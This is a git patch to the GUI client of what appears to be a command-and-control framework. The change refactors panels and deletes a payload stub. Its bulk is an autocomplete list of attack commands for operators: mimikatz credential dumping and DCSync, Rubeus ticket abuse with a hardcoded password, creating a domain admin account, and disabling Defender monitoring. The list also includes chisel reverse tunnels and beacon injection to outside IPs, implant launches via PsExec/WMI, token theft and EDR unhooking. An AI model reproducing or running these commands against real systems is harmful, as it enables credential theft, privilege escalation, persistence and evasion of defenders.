From 4fc35dce6d25d786cd928df76ad6bb92c7868bfb Mon Sep 17 00:00:00 2001 From: kali Date: Thu, 14 Nov 2024 10:52:19 -0500 Subject: [PATCH] Cleaning client --- client/ConsolePanel.py | 480 ++++++++++-------- client/GUI.py | 6 +- client/ListenerPanel.py | 71 ++- client/PayloadPanel.py | 74 --- client/SessionPanel.py | 2 - client/TerminalPanel.py | 2 - client/__pycache__/grpcClient.cpython-311.pyc | Bin 0 -> 4273 bytes 7 files changed, 309 insertions(+), 326 deletions(-) delete mode 100644 client/PayloadPanel.py create mode 100644 client/__pycache__/grpcClient.cpython-311.pyc diff --git a/client/ConsolePanel.py b/client/ConsolePanel.py index ca1771e..0222b4c 100644 --- a/client/ConsolePanel.py +++ b/client/ConsolePanel.py @@ -12,7 +12,258 @@ from TerminalPanel import * # -# Consoles +# Constant +# +TerminalTabTitle = "Terminal" +CmdHistoryFileName = ".cmdHistory" + +HelpInstruction = "help" +SleepInstruction = "sleep" +EndInstruction = "end" +ListenerInstruction = "listener" +LoadModuleInstruction = "loadModule" +SocksInstruction = "socks" + +AssemblyExecInstruction = "assemblyExec" +UploadInstruction = "upload" +RunInstruction = "run" +DownloadInstruction = "download" +InjectInstruction = "inject" +ScriptInstruction = "script" +PwdInstruction = "pwd" +CdInstruction = "cd" +LsInstruction = "ls" +PsInstruction = "ps" +CatInstruction = "cat" +TreeInstruction = "tree" +MakeTokenInstruction = "makeToken" +Rev2selfInstruction = "rev2self" +StealTokenInstruction = "stealToken" +CoffLoaderInstruction = "coffLoader" +UnloadModuleInstruction = "unloadModule" +KerberosUseTicketInstruction = "kerberosUseTicket" +PowershellInstruction = "powershell" +ChiselInstruction = "chisel" +PsExecInstruction = "psExec" +WmiInstruction = "wmiExec" +SpawnAsInstruction = "spawnAs" +EvasionInstruction = "evasion" + +StartInstruction = "start" +StopInstruction = "stop" + +completerData = [ + (HelpInstruction,[]), + (SleepInstruction,[]), + (EndInstruction,[]), + (ListenerInstruction,[ + (StartInstruction+' smb pipename',[]), + (StartInstruction+' tcp 127.0.0.1 4444',[]), + (StopInstruction, []), + ]), + (AssemblyExecInstruction,[ + ('-e',[ + ('mimikatz.exe',[ + ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]), + ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]), + ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]), + ('"sekurlsa::logonpasswords" "exit"', []), + ('"sekurlsa::ekeys" "exit"', []), + ('"lsadump::sam" "exit"', []), + ('"lsadump::cache" "exit"', []), + ('"lsadump::secrets" "exit"', []), + ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []), + ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []), + ('"sekurlsa::dpapi" "exit"', []), + ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []), + ]), + + ('SharpView.exe Get-DomainComputer', []), + ('Rubeus.exe',[ + ('triage',[]), + ('purge',[]), + ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []), + ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []), + ]), + ('Seatbelt.exe',[ + ('-group=system',[]), + ('-group=user',[]), + ]), + ('SharpHound.exe -c All -d dev.admin.offshore.com', []), + ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []), + ]), + ]), + (UploadInstruction,[]), + (RunInstruction,[ + ('cmd /c', []), + ('cmd /c sc query', []), + ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []), + ('cmd /c where /r c:\\ *.txt', []), + ('cmd /c tasklist /SVC', []), + ('cmd /c taskkill /pid 845 /f', []), + ('cmd /c schtasks /query /fo LIST /v', []), + ('cmd /c net user superadmin123 Password123!* /add', []), + ('cmd /c net localgroup administrators superadmin123 /add', []), + ('cmd /c net user superadmin123 Password123!* /add /domain', []), + ('cmd /c net group "domain admins" superadmin123 /add /domain', []), + ]), + (DownloadInstruction,[]), + (InjectInstruction,[ + ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []), + ('-e implant.exe -1', []), + ]), + (ScriptInstruction,[]), + (PwdInstruction,[]), + (CdInstruction,[]), + (LsInstruction,[]), + (PsInstruction,[]), + (CatInstruction,[]), + (TreeInstruction,[]), + (MakeTokenInstruction,[]), + (Rev2selfInstruction,[]), + (StealTokenInstruction,[]), + (CoffLoaderInstruction,[ + ('adcs_enum.x64.o', [('go',[])]), + ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]), + ('adcs_enum_com2.x64.o', [('go',[])]), + ('adv_audit_policies.x64.o', [('go',[])]), + ('arp.x64.o', [('go',[])]), + ('cacls.x64.o', [('go zz hostname servicename',[])]), + ('dir.x64.o', [('go Zs targetdir subdirs',[])]), + ('driversigs.x64.o', [('go Zi name, 0',[])]), + ('enum_filter_driver.x64.o', [('go',[])]), + ('enumlocalsessions.x64.o', [('go zz modname procname',[])]), + ('env.x64.o', [('go',[])]), + ('findLoadedModule.x64.o', [('go',[])]), + ('get-netsession.x64.o', [('go',[])]), + ('get_password_policy.x64.o', [('go Z server',[])]), + ('ipconfig.x64.o', [('go',[])]), + ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), + ('listdns.x64.o', [('go',[])]), + ('listmods.x64.o', [('go i pid',[])]), + ('locale.x64.o', [('go',[])]), + ('netgroup.x64.o', [('go sZZ type server group',[])]), + ('netlocalgroup.x64.o', [('go',[])]), + ('netshares.x64.o', [('go Zi name, 1',[])]), + ('netstat.x64.o', [('go',[])]), + ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]), + ('netuser.x64.o', [('go ZZ 2 domain',[])]), + ('netuserenum.x64.o', [('go',[])]), + ('netview.x64.o', [('go Z domain',[])]), + ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), + ('nslookup.x64.o', [('go zzs lookup server type',[])]), + ('probe.x64.o', [('go zi host port',[])]), + ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]), + ('resources.x64.o', [('go',[])]), + ('routeprint.x64.o', [('go',[])]), + ('sc_enum.x64.o', [('go',[])]), + ('schtasksenum.x64.o', [('go ZZ 2 3',[])]), + ('schtasksquery.x64.o', [('go',[])]), + ('sc_qc.x64.o', [('go zz hostname servicename',[])]), + ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]), + ('sc_qfailure.x64.o', [('go',[])]), + ('sc_qtriggerinfo.x64.o', [('go',[])]), + ('sc_query.x64.o', [('go',[])]), + ('tasklist.x64.o', [('go Z system',[])]), + ('uptime.x64.o', [('go',[])]), + ('vssenum.x64.o', [('go',[])]), + ('whoami.x64.o', [('go',[])]), + ('windowlist.x64.o', [('go',[])]), + ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]), + ]), + (UnloadModuleInstruction,[ + (AssemblyExecInstruction, []), + (CdInstruction, []), + (CoffLoaderInstruction, []), + (DownloadInstruction, []), + (InjectInstruction, []), + (LsInstruction, []), + (PsInstruction, []), + (MakeTokenInstruction, []), + (PwdInstruction, []), + (Rev2selfInstruction, []), + (RunInstruction, []), + (ScriptInstruction, []), + (StealTokenInstruction, []), + (UploadInstruction, []), + (PowershellInstruction, []), + (PsExecInstruction, []), + (KerberosUseTicketInstruction, []), + (ChiselInstruction, []), + (EvasionInstruction, []), + (SpawnAsInstruction, []), + (WmiInstruction, []), + ]), + (KerberosUseTicketInstruction,[]), + (PowershellInstruction,[ + ('-i PowerView.ps1', []), + ('Get-Domain', []), + ('Get-DomainTrust', []), + ('Get-DomainUser', []), + ('Get-DomainComputer -Properties DnsHostName', []), + ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []), + ('-i PowerUp.ps1', []), + ('Invoke-AllChecks', []), + ('-i Powermad.ps1', []), + ('-i PowerUpSQL.ps1', []), + ('Set-MpPreference -DisableRealtimeMonitoring $true', []), + ]), + (ChiselInstruction,[ + ('status', []), + ('stop', []), + ('chisel.exe client 192.168.57.21:9001 R:socks', []), + ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []), + ]), + (PsExecInstruction,[ + ('10.10.10.10 implant.exe', []), + ]), + (WmiInstruction,[ + ('10.10.10.10 implant.exe', []), + ]), + (SpawnAsInstruction,[ + ('user password implant.exe', []), + ]), + (SocksInstruction,[ + ('start 1080', []), + ('stop', []), + ]), + (EvasionInstruction,[ + ('CheckHooks', []), + ('Unhook', []), + ]), + (LoadModuleInstruction,[ + ('AssemblyExec', []), + ('ChangeDirectory', []), + ('Coff', []), + ('Download', []), + ('Inject', []), + ('ListDirectory', []), + ('ListProcesses', []), + ('MakeToken', []), + ('PrintWorkingDirectory', []), + ('Rev2self', []), + ('Run', []), + ('Script', []), + ('StealToken', []), + ('Upload', []), + ('Powershell', []), + ('PsExec', []), + ('KerberosUseTicket', []), + ('Chisel', []), + ('SpawnAs', []), + ('Cat', []), + ('Tree', []), + ('Evasion', []), + ('WmiExec', []), + ]), +] + +orangeText = '

[+] {}

' +redText = '

[+] {}

' + + +# +# Consoles Tab Implementation # class ConsolesTab(QWidget): @@ -35,7 +286,7 @@ class ConsolesTab(QWidget): self.setLayout(self.layout) tab = QWidget() - self.tabs.addTab(tab, "Terminal") + self.tabs.addTab(tab, TerminalTabTitle) tab.layout = QVBoxLayout(self.tabs) terminal = Terminal(self, self.ip, self.port, self.devMode) tab.layout.addWidget(terminal) @@ -138,7 +389,7 @@ class Console(QWidget): line = '\n'; self.editorOutput.insertPlainText(line) else: - cmdHistoryFile = open('.cmdHistory', 'a') + cmdHistoryFile = open(CmdHistoryFileName, 'a') cmdHistoryFile.write(commandLine) cmdHistoryFile.write('\n') cmdHistoryFile.close() @@ -150,17 +401,15 @@ class Console(QWidget): self.commandEditor.setCmdHistory() instructions = commandLine.split() - if instructions[0]=="help": + if instructions[0]==HelpInstruction: command = TeamServerApi_pb2.Command( cmd=commandLine) response = self.grpcClient.getHelp(command) - line = '

[+] ' + response.cmd + '

' - self.editorOutput.appendHtml(line) + self.editorOutput.appendHtml(orangeText.format(response.cmd)) line = '\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n'; self.editorOutput.insertPlainText(line) else: - line = '

[+] send: \"' + commandLine + '\"

' - self.editorOutput.appendHtml(line) + self.editorOutput.appendHtml(orangeText.format(commandLine)) line = '\n'; self.editorOutput.insertPlainText(line) command = TeamServerApi_pb2.Command( @@ -178,8 +427,7 @@ class Console(QWidget): responses = self.grpcClient.getResponseFromSession(session) for response in responses: self.setCursorEditorAtEnd() - line = '

[+] result: \"' + response.instruction + " " + response.cmd + '\"

' - self.editorOutput.appendHtml(line) + self.editorOutput.appendHtml(redText.format(response.instruction + " " + response.cmd)) line = '\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n' self.editorOutput.insertPlainText(line) self.setCursorEditorAtEnd() @@ -218,8 +466,8 @@ class CommandEditor(QLineEdit): def __init__(self, parent=None): super().__init__(parent) - if(os.path.isfile('.cmdHistory')): - cmdHistoryFile = open('.cmdHistory') + if(os.path.isfile(CmdHistoryFileName)): + cmdHistoryFile = open(CmdHistoryFileName) self.cmdHistory = cmdHistoryFile.readlines() self.idx=len(self.cmdHistory)-1 cmdHistoryFile.close() @@ -259,7 +507,7 @@ class CommandEditor(QLineEdit): self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open('.cmdHistory') + cmdHistoryFile = open(CmdHistoryFileName) self.cmdHistory = cmdHistoryFile.readlines() self.idx=len(self.cmdHistory)-1 cmdHistoryFile.close() @@ -271,212 +519,6 @@ class CommandEditor(QLineEdit): QTimer.singleShot(0, self.clear) -completerData = [ - ('help',[]), - ('sleep',[]), - ('end',[]), - ('listener',[ - ('start smb pipename',[]), - ('start tcp 127.0.0.1 4444',[]), - ('stop', []), - ]), - ('assemblyExec',[ - ('-e',[ - ('mimikatz.exe',[ - ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]), - ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]), - ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]), - ('"sekurlsa::logonpasswords" "exit"', []), - ('"sekurlsa::ekeys" "exit"', []), - ('"lsadump::sam" "exit"', []), - ('"lsadump::cache" "exit"', []), - ('"lsadump::secrets" "exit"', []), - ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []), - ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []), - ('"sekurlsa::dpapi" "exit"', []), - ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []), - ]), - - ('SharpView.exe Get-DomainComputer', []), - ('Rubeus.exe',[ - ('triage',[]), - ('purge',[]), - ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []), - ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []), - ]), - ('Seatbelt.exe',[ - ('-group=system',[]), - ('-group=user',[]), - ]), - ('SharpHound.exe -c All -d dev.admin.offshore.com', []), - ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []), - ]), - ]), - ('upload',[]), - ('run',[ - ('cmd /c', []), - ('cmd /c sc query', []), - ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []), - ('cmd /c where /r c:\\ *.txt', []), - ('cmd /c tasklist /SVC', []), - ('cmd /c taskkill /pid 845 /f', []), - ('cmd /c schtasks /query /fo LIST /v', []), - ('cmd /c net user superadmin123 Password123!* /add', []), - ('cmd /c net localgroup administrators superadmin123 /add', []), - ('cmd /c net user superadmin123 Password123!* /add /domain', []), - ('cmd /c net group "domain admins" superadmin123 /add /domain', []), - ]), - ('download',[]), - ('inject',[ - ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []), - ('-e implant.exe -1', []), - ]), - ('script',[]), - ('pwd',[]), - ('cd',[]), - ('ls',[]), - ('ps',[]), - ('cat',[]), - ('tree',[]), - ('makeToken',[]), - ('rev2self',[]), - ('stealToken',[]), - ('coffLoader',[ - ('adcs_enum.x64.o', [('go',[])]), - ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]), - ('adcs_enum_com2.x64.o', [('go',[])]), - ('adv_audit_policies.x64.o', [('go',[])]), - ('arp.x64.o', [('go',[])]), - ('cacls.x64.o', [('go zz hostname servicename',[])]), - ('dir.x64.o', [('go Zs targetdir subdirs',[])]), - ('driversigs.x64.o', [('go Zi name, 0',[])]), - ('enum_filter_driver.x64.o', [('go',[])]), - ('enumlocalsessions.x64.o', [('go zz modname procname',[])]), - ('env.x64.o', [('go',[])]), - ('findLoadedModule.x64.o', [('go',[])]), - ('get-netsession.x64.o', [('go',[])]), - ('get_password_policy.x64.o', [('go Z server',[])]), - ('ipconfig.x64.o', [('go',[])]), - ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('listdns.x64.o', [('go',[])]), - ('listmods.x64.o', [('go i pid',[])]), - ('locale.x64.o', [('go',[])]), - ('netgroup.x64.o', [('go sZZ type server group',[])]), - ('netlocalgroup.x64.o', [('go',[])]), - ('netshares.x64.o', [('go Zi name, 1',[])]), - ('netstat.x64.o', [('go',[])]), - ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]), - ('netuser.x64.o', [('go ZZ 2 domain',[])]), - ('netuserenum.x64.o', [('go',[])]), - ('netview.x64.o', [('go Z domain',[])]), - ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('nslookup.x64.o', [('go zzs lookup server type',[])]), - ('probe.x64.o', [('go zi host port',[])]), - ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]), - ('resources.x64.o', [('go',[])]), - ('routeprint.x64.o', [('go',[])]), - ('sc_enum.x64.o', [('go',[])]), - ('schtasksenum.x64.o', [('go ZZ 2 3',[])]), - ('schtasksquery.x64.o', [('go',[])]), - ('sc_qc.x64.o', [('go zz hostname servicename',[])]), - ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]), - ('sc_qfailure.x64.o', [('go',[])]), - ('sc_qtriggerinfo.x64.o', [('go',[])]), - ('sc_query.x64.o', [('go',[])]), - ('tasklist.x64.o', [('go Z system',[])]), - ('uptime.x64.o', [('go',[])]), - ('vssenum.x64.o', [('go',[])]), - ('whoami.x64.o', [('go',[])]), - ('windowlist.x64.o', [('go',[])]), - ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]), - ]), - ('unloadModule',[ - ('assemblyExec', []), - ('cd', []), - ('coff', []), - ('download', []), - ('inject', []), - ('ls', []), - ('ps', []), - ('makeToken', []), - ('pwd', []), - ('rev2self', []), - ('run', []), - ('script', []), - ('stealToken', []), - ('upload', []), - ('powershell', []), - ('psExec', []), - ('kerberosUseTicket', []), - ('chisel', []), - ('evasion', []), - ('spawnAs', []), - ('wmiExec', []), - ]), - ('kerberosUseTicket',[]), - ('powershell',[ - ('-i PowerView.ps1', []), - ('Get-Domain', []), - ('Get-DomainTrust', []), - ('Get-DomainUser', []), - ('Get-DomainComputer -Properties DnsHostName', []), - ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []), - ('-i PowerUp.ps1', []), - ('Invoke-AllChecks', []), - ('-i Powermad.ps1', []), - ('-i PowerUpSQL.ps1', []), - ('Set-MpPreference -DisableRealtimeMonitoring $true', []), - ]), - ('chisel',[ - ('status', []), - ('stop', []), - ('chisel.exe client 192.168.57.21:9001 R:socks', []), - ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []), - ]), - ('psExec',[ - ('10.10.10.10 implant.exe', []), - ]), - ('wmiExec',[ - ('10.10.10.10 implant.exe', []), - ]), - ('spawnAs',[ - ('user password implant.exe', []), - ]), - ('socks',[ - ('start 1080', []), - ('stop', []), - ]), - ('evasion',[ - ('CheckHooks', []), - ('Unhook', []), - ]), - ('loadModule',[ - ('AssemblyExec', []), - ('ChangeDirectory', []), - ('Coff', []), - ('Download', []), - ('Inject', []), - ('ListDirectory', []), - ('ListProcesses', []), - ('MakeToken', []), - ('PrintWorkingDirectory', []), - ('Rev2self', []), - ('Run', []), - ('Script', []), - ('StealToken', []), - ('Upload', []), - ('Powershell', []), - ('PsExec', []), - ('KerberosUseTicket', []), - ('Chisel', []), - ('SpawnAs', []), - ('Cat', []), - ('Tree', []), - ('Evasion', []), - ('WmiExec', []), - ]), -] - class CodeCompleter(QCompleter): ConcatenationRole = Qt.UserRole + 1 diff --git a/client/GUI.py b/client/GUI.py index 70d01d6..9ced46d 100644 --- a/client/GUI.py +++ b/client/GUI.py @@ -10,7 +10,6 @@ from grpcClient import * from ListenerPanel import * from SessionPanel import * from ConsolePanel import * -from PayloadPanel import * from GraphPanel import * import qdarktheme @@ -72,9 +71,8 @@ class App(QMainWindow): self.topWidget.addTab(self.m_main, "Main") - self.graphWidget = Graph(self, self.ip, self.port, self.devMode) - - self.topWidget.addTab(self.graphWidget, "Graph") + # self.graphWidget = Graph(self, self.ip, self.port, self.devMode) + # self.topWidget.addTab(self.graphWidget, "Graph") self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) diff --git a/client/ListenerPanel.py b/client/ListenerPanel.py index 9c897d2..b925dc0 100644 --- a/client/ListenerPanel.py +++ b/client/ListenerPanel.py @@ -10,7 +10,28 @@ from grpcClient import * # -# Listeners +# Constant +# +ListenerTabTitle = "Listeners" +AddListenerWindowTitle = "Add Listener" + +TypeLabel = "Type" +IpLabel = "IP" +PortLabel = "Port" +DomainLabel = "Domain" +ProjectLabel = "Project" +TokenLabel = "Token" + +HttpType = "http" +HttpsType = "https" +TcpType = "tcp" +GithubType = "github" +DnsType = "dns" +SmbType = "smb" + + +# +# Listener tab implementation # class Listener(): @@ -40,7 +61,7 @@ class Listeners(QWidget): widget = QWidget(self) self.layout = QGridLayout(widget) - self.label = QLabel('Listeners') + self.label = QLabel(ListenerTabTitle) self.layout.addWidget(self.label) # List of sessions @@ -166,11 +187,11 @@ class Listeners(QWidget): # add # if listener is not yet already on our list if not inStore: - if listener.type == "github": + if listener.type == GithubType: self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.project, listener.token[0:10], listener.numberOfSession)) - elif listener.type == "dns": + elif listener.type == DnsType: self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, listener.port, listener.numberOfSession)) - elif listener.type == "smb": + elif listener.type == SmbType: self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, "", listener.numberOfSession)) else: self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.port, listener.numberOfSession)) @@ -202,20 +223,20 @@ class CreateListner(QWidget): super().__init__() layout = QFormLayout() - self.labelType = QLabel("Type") + self.labelType = QLabel(TypeLabel) self.qcombo = QComboBox(self) - self.qcombo.addItems(["http" , "https" , "tcp" , "github" , "dns"]) + self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType]) self.qcombo.setCurrentIndex(1) self.qcombo.currentTextChanged.connect(self.changeLabels) self.type = self.qcombo layout.addRow(self.labelType, self.type) - self.labelIP = QLabel("IP") + self.labelIP = QLabel(IpLabel) self.param1 = QLineEdit() self.param1.setText("0.0.0.0") layout.addRow(self.labelIP, self.param1) - self.labelPort = QLabel("Port") + self.labelPort = QLabel(PortLabel) self.param2 = QLineEdit() self.param2.setText("8443") layout.addRow(self.labelPort, self.param2) @@ -224,25 +245,25 @@ class CreateListner(QWidget): layout.addRow(self.buttonOk) self.setLayout(layout) - self.setWindowTitle("Add Listener") + self.setWindowTitle(AddListenerWindowTitle) def changeLabels(self): - if self.qcombo.currentText() == "http": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "https": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "tcp": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "github": - self.labelIP.setText("Project") - self.labelPort.setText("Token") - elif self.qcombo.currentText() == "dns": - self.labelIP.setText("Domain") - self.labelPort.setText("Port") + if self.qcombo.currentText() == HttpType: + self.labelIP.setText(IpLabel) + self.labelPort.setText(PortLabel) + elif self.qcombo.currentText() == HttpsType: + self.labelIP.setText(IpLabel) + self.labelPort.setText(PortLabel) + elif self.qcombo.currentText() == TcpType: + self.labelIP.setText(IpLabel) + self.labelPort.setText(PortLabel) + elif self.qcombo.currentText() == GithubType: + self.labelIP.setText(ProjectLabel) + self.labelPort.setText(TokenLabel) + elif self.qcombo.currentText() == DnsType: + self.labelIP.setText(DomainLabel) + self.labelPort.setText(PortLabel) def checkAndSend(self): diff --git a/client/PayloadPanel.py b/client/PayloadPanel.py deleted file mode 100644 index e1cf8fb..0000000 --- a/client/PayloadPanel.py +++ /dev/null @@ -1,74 +0,0 @@ -import sys -import os -import time -from threading import Thread, Lock -from PyQt5.QtWidgets import * -from PyQt5.QtGui import * -from PyQt5.QtCore import * - - -class CreatePayload(QWidget): - - procDone = pyqtSignal(list) - - def __init__(self): - super().__init__() - - layout = QFormLayout() - - self.labelMethode = QLabel("Methode") - self.qcomboMethode = QComboBox(self) - self.qcomboMethode.addItems(["exe" , "dll" , "powershell" ]) - self.qcomboMethode.currentTextChanged.connect(self.changeLabels) - self.methode = self.qcomboMethode - layout.addRow(self.labelMethode, self.methode) - - self.labelType = QLabel("Type") - self.qcombo = QComboBox(self) - self.qcombo.addItems(["http" , "https" , "tcp" , "github" , "dns"]) - self.qcombo.currentTextChanged.connect(self.changeLabels) - self.type = self.qcombo - layout.addRow(self.labelType, self.type) - - self.labelIP = QLabel("IP") - self.param1 = QLineEdit() - layout.addRow(self.labelIP, self.param1) - - self.labelPort = QLabel("Port") - self.param2 = QLineEdit() - layout.addRow(self.labelPort, self.param2) - - self.buttonOk = QPushButton('&Generate', clicked=self.generate) - layout.addRow(self.buttonOk) - - self.setLayout(layout) - self.setWindowTitle("Add Listener") - - - def changeLabels(self): - if self.qcombo.currentText() == "http": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "https": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "tcp": - self.labelIP.setText("IP") - self.labelPort.setText("Port") - elif self.qcombo.currentText() == "github": - self.labelIP.setText("Project") - self.labelPort.setText("Token") - elif self.qcombo.currentText() == "dns": - self.labelIP.setText("Domain") - self.labelPort.setText("Port") - - - def generate(self): - type = self.type.currentText() - param1 = self.param1.text() - param2 = self.param2.text() - - print(type, param1, param2) - - # self.procDone.emit(result) - # self.close() \ No newline at end of file diff --git a/client/SessionPanel.py b/client/SessionPanel.py index 43a69c7..4fec216 100644 --- a/client/SessionPanel.py +++ b/client/SessionPanel.py @@ -170,9 +170,7 @@ class Sessions(QWidget): listenerHash = QTableWidgetItem(sessionStore.listenerHash[0:8]) self.listSession.setItem(ix, 2, listenerHash) hostname = QTableWidgetItem(sessionStore.hostname) - #hostname = QTableWidgetItem("vulnHost") self.listSession.setItem(ix, 3, hostname) - #username = QTableWidgetItem("confidentUser") username = QTableWidgetItem(sessionStore.username) self.listSession.setItem(ix, 4, username) arch = QTableWidgetItem(sessionStore.arch) diff --git a/client/TerminalPanel.py b/client/TerminalPanel.py index c92028f..63b3cd2 100644 --- a/client/TerminalPanel.py +++ b/client/TerminalPanel.py @@ -418,7 +418,6 @@ class Terminal(QWidget): else: self.editorOutput.appendHtml(redText.format(commandLine)) helpMsg = """Error: Mode not recognised""" - line = '\n' + helpMsg + '\n'; self.editorOutput.insertPlainText(line) return; @@ -476,7 +475,6 @@ class Terminal(QWidget): else: self.editorOutput.appendHtml(redText.format(commandLine)) helpMsg = """Error: Mode not recognised""" - line = '\n' + helpMsg + '\n'; self.editorOutput.insertPlainText(line) return; diff --git a/client/__pycache__/grpcClient.cpython-311.pyc b/client/__pycache__/grpcClient.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..6ed20fced34b201fb2b544054f123cb67be658e9 GIT binary patch literal 4273 zcmcgv-D})d7Qd2aM)J%gcBAn}kSGllO_9ic1vwbbgU2 z;xkmBaNfx}tJG}m&T6e>SIpY2XB^NQqm!ypS(<0{(oJev#WJq`>I}V&d+Tf}rz&30(k8>IuLUdIUbE03}@n?9(N{wB84p(bIrgJp=w_ zy);^%Gb*%Zm%_Y&krey{wAcpQkWp?uVFz9SxtY-Uc*L8LQDEq`htNL?KFE5~j%0iV z_4}=vdyp-tyZj3%>+(X(W%#Gn5Ckz zY+Cj<-#Fv*R*Ro#7Om-8wOhxUL2G4u8LR&+Fufi!FQKCuqG5R_Em~S-G#K*)%VwU~BA!}U2xq(P`DJz4tWx!E(Wt0Pchx%#vi&EM z-BstN4s5F>e~qf>Q+K&e*4I2q(<-%!t!WK;{$L;=_Ja}Y-vArr>8Z0Vad+_5FV1iN z+8G>o2gjcbPP7LnoI%wcR9opEhEBUfQ;)AWLs#9QtF25Yb83$WeG9_w=fHAq?h*1Kw5mSa0aojm02^d?V9Xsj?+hsJfYM5KawDHFJjq>X=PqnrbaHt& zmv8lT`bT!85q1vvOJTI|5oYWPd_2Hy2KsJ0dfPub7wi`xqww9BGuL!I@PE4(vJ}MX zNw6yGuoKXD(3#?aP-7?(bA&zyMl6hbgLLHK&o4ib$J_Gw)`%ldx$;y?>huq{`j02Z z?4oVfgCLoTj>YHDij2qRFgozop@5XOtZa=t^0X^Y#{vq=7evBI`xric?lSLAZGxQ# zTWlP`FYF8y_97e!xT*K*nq7cVPlB2CsqutlpmqcP*!)K53dmciesDdW2|WEE4(AEHj7VpKi<3kLMkE)|F?EHGUD|f0r6{ zb`5=sm8}TQ<51&NJRqdu@erTEb8Y$D<_C^E;mQ-o8bJoj^)_WyD8D13$YAmHhU1Ix zfPNLCVLsr2cuP5f*De1lta)iotD5?%K{d_GYT6%Hi$-^Zy@^t9BVawViwKty-a(i{ zm`Avda1&sg_=k~ysx$njzz4kiT3-QdgwI|glYEccBN03;BwvMlS^#N2IkHDWkis{g zCJ8ti!vA1?LH4Dep~-F}7=)6>9Ch#5n#Qn%Jkc=Au&&i0>^P3^43oL?